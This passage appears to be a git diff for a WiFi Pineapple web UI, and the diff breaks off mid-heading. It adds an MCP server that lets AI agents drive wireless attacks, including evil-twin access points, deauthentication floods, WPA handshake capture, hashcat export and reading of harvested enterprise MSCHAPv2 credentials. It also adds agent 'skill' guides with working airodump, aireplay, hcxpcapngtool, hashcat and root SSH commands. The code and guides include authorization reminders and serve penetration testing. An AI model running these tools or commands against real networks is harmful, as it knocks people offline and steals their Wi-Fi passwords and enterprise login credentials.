diff --git a/payload/user/remote_access/pager-webui/server.py b/payload/user/remote_access/pager-webui/server.py index 3cd12b4..e5e67cf 100644 --- a/payload/user/remote_access/pager-webui/server.py +++ b/payload/user/remote_access/pager-webui/server.py @@ -572,7 +572,7 @@ class PagerHandler: return self._fail(404, 'not found') return - if method != 'POST' or path != '/api/login': + if method != 'POST' or path not in ('/api/login', '/mcp'): if not check_auth(self.headers.get('Cookie', '') or ''): self._fail(401, 'unauthorized') return @@ -3418,6 +3418,366 @@ def h_attacks_clients(ctx): return 200, result +# -------------------------------------------------------------------------- +# Local Harness: MCP (Model Context Protocol) Streamable-HTTP server. +# Lets any agent (opencode, Claude, Cursor, pi.dev, ...) discover and drive +# the Pineapple's features with tools, resources and prompts. +# -------------------------------------------------------------------------- + +MCP_PROTOCOL = '2025-06-18' + +RECON_URI = 'file:/root/recon/recon.db?mode=ro' + + +def _sql_table(table, limit=50, where=''): + clause = ('WHERE ' + where) if where else '' + rc, out, err = device_run( + ['sqlite3', '-json', RECON_URI, + 'SELECT * FROM %s %s ORDER BY time DESC LIMIT %d' % (table, clause, int(limit))], + timeout=25) + if rc != 0: + return [] + try: + return json.loads(out or '[]') + except ValueError: + return [] + + +def _mcp_auth(ctx): + if check_auth(ctx.h.headers.get('Cookie', '') or ''): + return True + auth = ctx.h.headers.get('Authorization', '') or '' + if auth.startswith('Bearer '): + token = auth[7:].strip() + try: + with open(SESSION_FILE) as f: + session = json.load(f) + return session.get('token') == token + except (OSError, ValueError): + return False + return False + + +def _mcp_tool(name, description, schema, fn): + return {'name': name, 'description': description, + 'inputSchema': {'type': 'object', 'properties': schema}, 'fn': fn} + + +def _mcp_tools(): + def deploy(args): + kind = (args.get('kind') or '').strip().lower() + if kind not in ('wpa', 'open', 'enterprise'): + return {'error': 'kind must be wpa, open or enterprise'} + try: + if kind == 'enterprise': + result = _deploy_enterprise(args) + else: + result = _deploy_wpa_open(kind, args) + except ValueError as exc: + return {'error': str(exc)} + except RuntimeError as exc: + return {'error': str(exc)} + update_pineap_state(mode='advanced', enabled=True, karma=True, collect=True) + result['ok'] = True + return result + + def stop(args): + status, payload = h_attacks_stop(_Ctx_args(args)) + return payload if status == 200 else {'error': payload.get('error', 'stop failed')} + + def status(args): + _, payload = h_attacks_status(None) + return payload + + def deauth(args): + status, payload = h_attacks_deauth(_Ctx_args(args)) + return payload if status == 200 else {'error': payload.get('error', 'deauth failed')} + + def capture(args): + status, payload = h_attacks_capture(_Ctx_args(args)) + return payload if status == 200 else {'error': payload.get('error', 'capture failed')} + + def export_hc(args): + status, payload = h_attacks_export_hc22000(None) + return payload if status == 200 else {'error': payload.get('error', 'export failed')} + + def handshakes(args): + _, payload = h_handshakes_get(None) + return payload + + def enterprise_creds(args): + tables = {} + for t in ('basic', 'challenge'): + tables[t] = _sql_table('hostap_%s' % ('chalresp' if t == 'challenge' else t), 100) + return tables + + def recon_aps(args): + return {'aps': _sql_table('ssid', args.get('limit', 50))} + + def recon_isearch(args): + ssid = (args.get('ssid') or '').strip() + if not ssid: + return {'error': 'ssid required'} + return {'aps': _sql_table('ssid', 50, "CAST(ssid AS TEXT) LIKE '%%%s%%'" % + ssid.replace("'", "''"))} + + def recon_devices(args): + return {'devices': _sql_table('wifi_device', args.get('limit', 50))} + + def kick(args): + mac = (args.get('mac') or '').strip() + if not mac: + return {'error': 'mac required'} + rc, out, err = device_run([HAK5CMD, 'CLIENT_KICK', mac], timeout=20) + return {'ok': rc == 0, 'detail': (err or out)[-300:]} + + def set_filter(args): + kind = (args.get('kind') or 'ssid').strip() + if kind not in ('ssid', 'client'): + return {'error': 'kind must be ssid or client'} + action = (args.get('action') or '').strip() + payload = {'action': action} + if action == 'set_mode': + payload['mode'] = (args.get('mode') or 'deny').strip() + elif action == 'add': + payload['mode'] = (args.get('mode') or 'deny').strip() + payload['value'] = (args.get('value') or '').strip() + if not payload['value']: + return {'error': 'value required'} + else: + return {'error': 'action must be set_mode or add'} + status, resp = h_filter_post(_Ctx_args(payload), kind) + return resp if status == 200 else {'error': resp.get('error', 'filter failed')} + + def state(args): + _, mode = h_pineap_mode_get(None) + _, aps = h_pineap_wifi_get_ap(None) + _, health = h_health(None) + _, atk = h_attacks_status(None) + return {'mode': mode, 'aps': aps, 'health': health, 'attacks': atk, + 'hop': _read_hop()} + + return [ + _mcp_tool('device.state', 'Full truth snapshot: PineAP mode, AP configs, health, attacks, hop state.', + {'detail': {'type': 'string'}}, state), + _mcp_tool('attack.deploy', 'Deploy an attack: kind=wpa|open|enterprise with ssid, passphrase (wpa), enctype, channel (band), hidden, bssid/country (open). Stops conflicting attacks, enables karma + handshake capture, verifies on device.', + {'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']}, + 'ssid': {'type': 'string'}, + 'passphrase': {'type': 'string'}, + 'enctype': {'type': 'string', 'enum': ['psk2', 'sae', 'owe', 'wpa2', 'wpa3']}, + 'channel': {'type': 'number'}, + 'hidden': {'type': 'boolean'}, + 'bssid': {'type': 'string'}, + 'country': {'type': 'string'}}, deploy), + _mcp_tool('attack.stop', 'Stop an attack by kind (wpa|open|enterprise); disables APs and resumes hopping.', + {'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']}}, stop), + _mcp_tool('attack.status', 'Live attack status: APs per band, live flag, handshake + enterprise credential counts.', + {}, status), + _mcp_tool('attack.deauth', 'Send deauth frames against an AP/client. Band-aware inject (wlan0mon for 2.4, wlan1mon for 5/6). Only against authorized targets.', + {'bssid': {'type': 'string'}, 'client': {'type': 'string'}, + 'channel': {'type': 'number'}}, deauth), + _mcp_tool('attack.capture', 'Start/stop/status a monitor pcap capture (iface wlan0mon|wlan1mon, action start|stop|status).', + {'iface': {'type': 'string', 'enum': ['wlan0mon', 'wlan1mon']}, + 'action': {'type': 'string', 'enum': ['start', 'stop', 'status']}}, capture), + _mcp_tool('attack.export_hc22000', 'Convert captured pcaps to a hashcat-ready .hc22000 file and return the hashcat command.', + {}, export_hc), + _mcp_tool('loot.handshakes', 'List captured WPA handshakes (files + parsed entries).', + {}, handshakes), + _mcp_tool('loot.enterprise_creds', 'PineAPE captured enterprise credentials (basic identity data + MSCHAPv2 challenge/response).', + {}, enterprise_creds), + _mcp_tool('recon.aps', 'Recent recon APs from the recon database.', {'limit': {'type': 'number'}}, recon_aps), + _mcp_tool('recon.isearch', 'Find APs matching an SSID in the recon database.', {'ssid': {'type': 'string'}}, recon_isearch), + _mcp_tool('recon.devices', 'Recent observed client devices from recon.', {'limit': {'type': 'number'}}, recon_devices), + _mcp_tool('pineap.kick_client', 'Disconnect a client from a PineAP/evil-twin AP.', {'mac': {'type': 'string'}}, kick), + _mcp_tool('pineap.set_filter', 'Set the SSID/client filter: action=set_mode (mode=deny|allow) or add (value).', + {'kind': {'type': 'string', 'enum': ['ssid', 'client']}, + 'action': {'type': 'string', 'enum': ['set_mode', 'add']}, + 'mode': {'type': 'string', 'enum': ['allow', 'deny']}, + 'value': {'type': 'string'}}, set_filter), + ] + + +def _Ctx_args(body): + return type('C', (), {'body': body, 'args': (), 'query': {}})() + + +def _mcp_resource_list(): + res = [ + {'uri': 'device://state', 'name': 'Device state snapshot', 'mimeType': 'application/json'}, + {'uri': 'recon://aps', 'name': 'Recon access points', 'mimeType': 'application/json'}, + {'uri': 'recon://devices', 'name': 'Recon client devices', 'mimeType': 'application/json'}, + {'uri': 'recon://handshakes', 'name': 'Captured handshakes', 'mimeType': 'application/json'}, + {'uri': 'recon://enterprise/basic', 'name': 'Enterprise basic credentials', 'mimeType': 'application/json'}, + {'uri': 'recon://enterprise/challenge', 'name': 'Enterprise challenge/response', 'mimeType': 'application/json'}, + ] + for name in ('pineapple-control', 'wifi-deauth', 'aircrack-suite'): + res.append({'uri': 'skills://%s' % name, 'name': 'Skill: %s' % name, + 'mimeType': 'text/markdown'}) + return res + + +def _mcp_resource_read(uri): + if uri == 'device://state': + _, mode = h_pineap_mode_get(None) + _, aps = h_pineap_wifi_get_ap(None) + _, health = h_health(None) + _, atk = h_attacks_status(None) + return {'contents': [{'uri': uri, 'mimeType': 'application/json', + 'text': json.dumps({'mode': mode, 'aps': aps, + 'health': health, 'attacks': atk})}]} + if uri == 'recon://aps': + return {'contents': [{'uri': uri, 'mimeType': 'application/json', + 'text': json.dumps(_sql_table('ssid', 50))}]} + if uri == 'recon://devices': + return {'contents': [{'uri': uri, 'mimeType': 'application/json', + 'text': json.dumps(_sql_table('wifi_device', 50))}]} + if uri == 'recon://handshakes': + _, payload = h_handshakes_get(None) + return {'contents': [{'uri': uri, 'mimeType': 'application/json', + 'text': json.dumps(payload)}]} + if uri == 'recon://enterprise/basic': + return {'contents': [{'uri': uri, 'mimeType': 'application/json', + 'text': json.dumps(_sql_table('hostap_basic', 100))}]} + if uri == 'recon://enterprise/challenge': + return {'contents': [{'uri': uri, 'mimeType': 'application/json', + 'text': json.dumps(_sql_table('hostap_chalresp', 100))}]} + if uri.startswith('skills://'): + name = uri[len('skills://'):] + path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'skills', '%s.md' % name) + if os.path.isfile(path): + with open(path, 'r') as f: + text = f.read() + return {'contents': [{'uri': uri, 'mimeType': 'text/markdown', 'text': text}]} + return None + return None + + +def _mcp_prompt_list(): + return [ + {'name': 'evil-wpa-attack', 'description': 'Deploy an Evil WPA (PSK) twin of a target SSID, capture a four-way handshake, and export it for hashcat.'}, + {'name': 'evil-enterprise-attack', 'description': 'Serve a WPA2-Enterprise twin with PineAPE credential harvesting.'}, + {'name': 'recon-survey', 'description': 'Survey the environment from the recon database.'}, + ] + + +def _mcp_prompt_get(name): + if name == 'evil-wpa-attack': + return {'description': 'Evil WPA (PSK) attack workflow', + 'messages': [{'role': 'user', 'content': {'type': 'text', + 'text': 'Plan: 1) recon.isearch for the target SSID to confirm it is authorized. 2) attack.deploy kind=wpa with the target ssid (passphrase is your choice; enctype psk2; 2.4GHz channels 1-11 or 5GHz 36-165). 3) attack.status until live. 4) Optionally attack.capture on the matching monitor to record raw frames, and attack.deauth against the target\'s clients. 5) Once a handshake appears in loot.handshakes, attack.export_hc22000 and run the returned hashcat command locally.'}}]} + if name == 'evil-enterprise-attack': + return {'description': 'Evil Enterprise (PineAPE) attack workflow', + 'messages': [{'role': 'user', 'content': {'type': 'text', + 'text': 'Plan: 1) recon.isearch the target SSID (authorized only). 2) attack.deploy kind=enterprise ssid= enctype=wpa2 channel=36. 3) attack.status until live. 4) Monitor loot.enterprise_creds for captured identities and MSCHAPv2 challenge/response pairs; crack offline with hashcat -m 5500 (or -m 5800 for netntlmv2-style) once captured. 5) attack.stop when done.'}}]} + if name == 'recon-survey': + return {'description': 'Recon survey', + 'messages': [{'role': 'user', 'content': {'type': 'text', + 'text': 'Plan: 1) device.state for the truth snapshot. 2) recon.aps to list recent networks. 3) recon.devices for observed clients. 4) Summarize: networks, bands, encryption, signal, and any target SSID the operator asked about.'}}]} + return None + + +def _mcp_dispatch(msg): + """Handle one JSON-RPC MCP message. Returns (status, body).""" + if not isinstance(msg, dict) or msg.get('jsonrpc') != '2.0': + return 400, {'jsonrpc': '2.0', 'error': {'code': -32600, 'message': 'invalid JSON-RPC'}} + mid = msg.get('id') + method = msg.get('method') or '' + params = msg.get('params') or {} + if not method: + return 400, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': -32600, 'message': 'method required'}} + + def respond(result): + if mid is None: + return 202, None + return 200, {'jsonrpc': '2.0', 'id': mid, 'result': result} + + def respond_error(code, message): + if mid is None: + return 202, None + return 200, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': code, 'message': message}} + + if method == 'initialize': + version = (params or {}).get('protocolVersion') or '2025-03-26' + return 200, {'jsonrpc': '2.0', 'id': mid, 'result': { + 'protocolVersion': MCP_PROTOCOL, + 'capabilities': { + 'tools': {'listChanged': False}, + 'resources': {'listChanged': False, 'subscribe': False}, + 'prompts': {'listChanged': False}, + }, + 'serverInfo': {'name': 'mark-viii', 'version': '1.1'}}} + if method == 'notifications/initialized': + return 202, None + if method == 'ping': + return respond({}) + if method == 'tools/list': + return respond({'tools': [{'name': t['name'], 'description': t['description'], + 'inputSchema': t['inputSchema']} for t in _mcp_tools()]}) + if method == 'tools/call': + name = (params or {}).get('name') or '' + args = (params or {}).get('arguments') or {} + for t in _mcp_tools(): + if t['name'] == name: + try: + result = t['fn'](args) + except Exception as exc: + return respond_error(-32603, 'tool error: %s' % exc) + if isinstance(result, dict) and 'error' in result: + return respond_error(-32602, result['error']) + return respond({'content': [{'type': 'text', 'text': json.dumps(result, indent=2)}]}) + return respond_error(-32602, 'unknown tool: %s' % name) + if method == 'resources/list': + return respond({'resources': _mcp_resource_list()}) + if method == 'resources/read': + uri = (params or {}).get('uri') or '' + content = _mcp_resource_read(uri) + if content is None: + return respond_error(-32602, 'unknown resource: %s' % uri) + return respond(content) + if method == 'prompts/list': + return respond({'prompts': _mcp_prompt_list()}) + if method == 'prompts/get': + name = (params or {}).get('name') or '' + content = _mcp_prompt_get(name) + if content is None: + return respond_error(-32602, 'unknown prompt: %s' % name) + return respond(content) + return respond_error(-32601, 'method not found: %s' % method) + + +def h_mcp(ctx): + if not _mcp_auth(ctx): + return 401, {'jsonrpc': '2.0', 'error': {'code': -32001, 'message': 'unauthorized'}} + body = ctx.body + if body is None: + return 400, {'jsonrpc': '2.0', 'error': {'code': -32700, 'message': 'parse error'}} + return _mcp_dispatch(body) + + +def h_harness_capabilities(ctx): + tools = [{'name': t['name'], 'description': t['description'], + 'inputSchema': t['inputSchema']} for t in _mcp_tools()] + return 200, { + 'endpoint': '/mcp', + 'protocol': MCP_PROTOCOL, + 'transport': 'Streamable HTTP (POST application/json)', + 'auth': 'session cookie (browser) or Authorization: Bearer ', + 'tools': tools, + 'resources': _mcp_resource_list(), + 'prompts': _mcp_prompt_list(), + 'skills': ['pineapple-control', 'wifi-deauth', 'aircrack-suite'], + } + + +def h_harness_token(ctx): + try: + with open(SESSION_FILE) as f: + session = json.load(f) + return 200, {'token': session.get('token', ''), 'serverid': session.get('serverid', '')} + except (OSError, ValueError): + return 200, {'token': '', 'serverid': ''} + + def hak5(*args, timeout=30): rc, out, err = device_run([HAK5CMD] + list(args), timeout=timeout) return out @@ -4429,6 +4789,9 @@ ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc2 ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth) ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients) ROUTER.add('GET', r'/api/health', h_health) +ROUTER.add('POST', r'/mcp', h_mcp) +ROUTER.add('GET', r'/api/harness/capabilities', h_harness_capabilities) +ROUTER.add('GET', r'/api/harness/token', h_harness_token) ROUTER.add('POST', r'/api/recon/start', h_recon_start) ROUTER.add('POST', r'/api/recon/stop', h_recon_stop) ROUTER.add('GET', r'/api/recon/status', h_recon_status) diff --git a/payload/user/remote_access/pager-webui/skills/aircrack-suite.md b/payload/user/remote_access/pager-webui/skills/aircrack-suite.md new file mode 100644 index 0000000..04c1501 --- /dev/null +++ b/payload/user/remote_access/pager-webui/skills/aircrack-suite.md @@ -0,0 +1,54 @@ +--- +name: aircrack-suite +description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology). +--- + +# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID) + +The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes. + +## Installation (factory-reset recovery) + +```sh +opkg update +opkg install aircrack-ng hcxtools +``` + +- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng. +- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead. +- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`. + +## Target capture + +Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w ` (writes `.cap`, `.csv`, `.kismet.*`): + +```sh +ip link set wlan1mon up +setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 ` (tested) or `aireplay-ng -0 1 -a [-c ] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames". +- Extract on-device or locally: + ```sh + hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist? + hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file + hashcat -m 22002 out.22002 -a 0 + ``` +- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 ` then `hashcat -m 22000 out.22000 -a 0 `. + +## Pitfalls + +- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK. +- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing. +- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first. +- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`). +- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it. diff --git a/payload/user/remote_access/pager-webui/skills/pineapple-control.md b/payload/user/remote_access/pager-webui/skills/pineapple-control.md new file mode 100644 index 0000000..9fd1552 --- /dev/null +++ b/payload/user/remote_access/pager-webui/skills/pineapple-control.md @@ -0,0 +1,101 @@ +--- +name: pineapple-control +description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work. +--- + +# Pineapple Control (Pager / FENRIS) + +Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology. + +## Hardware / radios + +| Radio | Hardware | Interfaces | Notes | +|---|---|---|---| +| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX | +| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures | + +Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`. + +## Access + +```sh +sshpass -p '' ssh -o StrictHostKeyChecking=no root@ # lab unit: 172.16.52.1 +``` + +- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry. +- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth). +- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`. + +## What runs on the box + +| Process | Managed by | Purpose | Socket | +|---|---|---|---| +| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — | +| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` | +| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` | +| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — | + +## Command surface + +- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80. +- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists. +- `hostapd_cli -i status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build. +- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`. + +## Config & persistence (the hard-won rules) + +- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it. +- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change. +- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin: + ```sh + cp /etc/config/wireless /etc/config/wireless.bak + # wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '' + wifi reload + hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK + ``` + +## pineapd health & the crash-loop + +- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`. +- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it. +- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them. +- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting). + +## Recon DB + +`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout: + +```sh +timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \ + "SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40" +``` + +Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`. + +## Captures + +- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire): + ```sh + tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap + ``` +- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both. +- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes. +- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free): + ```sh + setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 info` for ssid/type/channel; `hostapd_cli -i status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead. +- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID). +- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces. + +## Teardown & hygiene + +- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others. +- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving. +- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd). +- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default. diff --git a/payload/user/remote_access/pager-webui/skills/wifi-deauth.md b/payload/user/remote_access/pager-webui/skills/wifi-deauth.md new file mode 100644 index 0000000..d9be1e2 --- /dev/null +++ b/payload/user/remote_access/pager-webui/skills/wifi-deauth.md @@ -0,0 +1,123 @@ +--- +name: wifi-deauth +description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill. +--- + +# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager) + +Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware). + +**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").** + +Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here. + +## 1. Discover target APs (passive recon first) + +Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it): + +```sh +timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \ + "SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40" +``` + +- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it. +- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH ` (case-insensitive). +- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope. +- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5). +- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one. + +## 2. Deauth (the working method) + +`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`: + +```sh +PINEAPPLE_DEAUTH_CLIENT # single client +PINEAPPLE_DEAUTH_CLIENT FF:FF:FF:FF:FF:FF # all clients on AP +``` + +- MACs with colons work. Channel should be the AP's actual channel. +- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6). +- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`). +- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5). +- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry. +- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`. + +## 3. Channel pinning — what works and what crashes + +| Method | Result | +|---|---| +| `PINEAPPLE_EXAMINE_BSSID ` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** | +| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. | +| `iw dev set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). | +| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). | + +Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label. + +## 4. Handshake capture — where built-in 